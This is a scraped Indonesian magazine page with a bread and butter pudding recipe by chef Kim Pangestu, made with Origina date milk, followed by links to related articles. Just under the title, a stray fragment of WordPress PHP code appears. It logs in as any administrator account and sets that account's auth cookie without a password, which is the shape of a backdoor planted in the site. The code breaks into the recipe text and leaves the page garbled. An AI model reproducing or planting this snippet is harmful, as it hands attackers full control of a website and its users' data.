Bread and Butter Pudding Origina Karya Chef Kim Pangestu

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Bread & Pudding

3 May 2021

BREAD & BUTTER PUDDING ORIGINA

Resep yang lebih dikenali untuk mengolah roti sisa ini rupanya bisa dibuat menggunakan roti yang baru dibeli, dan jenis lain seperti roti gandum atau brioche.

Walau terkesan simpel, classic dessert ini bisa fail jika rasio antar roti dan likuid tak seimbang. Seringkali, pudding menjadi kering. Pakai deh, resep jitu dari pastry chef Kim Pangestu. Tanpa gula pasir, mengandalkan manis alami kurma Tunisia dari Susu Kurma dari Origina.

Tonton video masaknya di sini

Untuk 10-12 porsi

1 loaf roti tawar, potong
100 g kurma, potong-potong
50 g kismis
1 buah pisang, iris tipis
Almond/ kenari, secukupnya
B&B Royale, aduk rata:
300 ml Susu Kurma dari Origina
50 ml/ ± 4 sdm krim kental
36 g kuning telur
1 butir telur
Kurma-Brown Sugar anglaise:
2 bungkus Susu Kurma dari Origina

150 ml krim kental
80 g kuning telur
30 g brown sugar
5 g vanilla ekstrak

1/ Bread pudding: Susun roti di loyang. Susun sisa bahan di atasnya.

2/ Sirami B&B Royale ke permukaan roti. Tekan-tekan.

3/ Panggang pada suhu 170°C hingga matang (± 15-20 menit).

4/ Anglaise: Panaskan susu dan krim hingga hangat. Sisihkan.

5/ Aduk rata sisa bahan. Masukkan sedikit susu-krim hangat, aduk cepat. Tuang kembali ke dalam panci.

6/ Masak hingga matang dan hangat (± 85°C). Angkat.

7/ Sirami ke permukaan Bread & Butter. Taburi sedikit kurma. Sajikan hangat. (f)

Trifitria Nuragustina

Topic
#kimpangestu , #resepdessert , #reseppudinganak , #breadandbutterpudding

Mentega Ini Diluncurkan Sebagai Terobosan Baru untuk Inovasi Dessert di Industri Bakery

Tak Cuma Hummus dan Falafel, Ini 8 Sarapan Khas Palestina Lainnya

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id